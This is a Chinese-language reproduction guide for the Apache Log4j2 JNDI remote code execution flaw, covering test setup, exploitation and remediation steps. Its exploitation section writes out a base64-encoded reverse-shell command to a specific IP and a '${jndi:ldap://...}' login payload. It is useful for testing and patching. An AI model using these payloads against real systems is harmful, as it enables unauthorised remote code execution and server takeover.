0x00 简介
ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。
0x01 漏洞概述
该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。
0x02 影响范围
Apache Log4j 2.x <= 2.15.0-rc1
0x03 环境搭建
https://github.com/dbgee/log4j2_rce/releases/download/0.0.1/log4j2_rce-0.0.1.jar
1、该测试环境使用log4j2.8.1版本,在影响范围内
<!-- log4j2核心包 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.8.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.1</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
0x04 漏洞利用
1、使用JNDI-Injection-Exploit便捷地生成恶意class,其中base64内容即命令
java -jar JNDI-Injection-Exploit-1.0.jar -C "bash -c {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzQ1LjguMTQ2LjI5Lzg4ODggMD4mM==}|{base64,-d}|{bash,-i}" -A "Your IP"
2、发送对应情况的payload到测试环境
{"username":"${jndi:ldap://your ip:1389/wbzkx8}",
"password":"123"}
如果和我一样写的反弹shell命令,即可反弹shell成功
0x05 修复方式
目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
建议同时采用如下临时措施进行漏洞防范:
1)添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
2)在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
4)部署使用第三方防火墙产品进行安全防护。
链接:
GitHub - dbgee/log4j2_rce: log4j2 rce、poc
GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)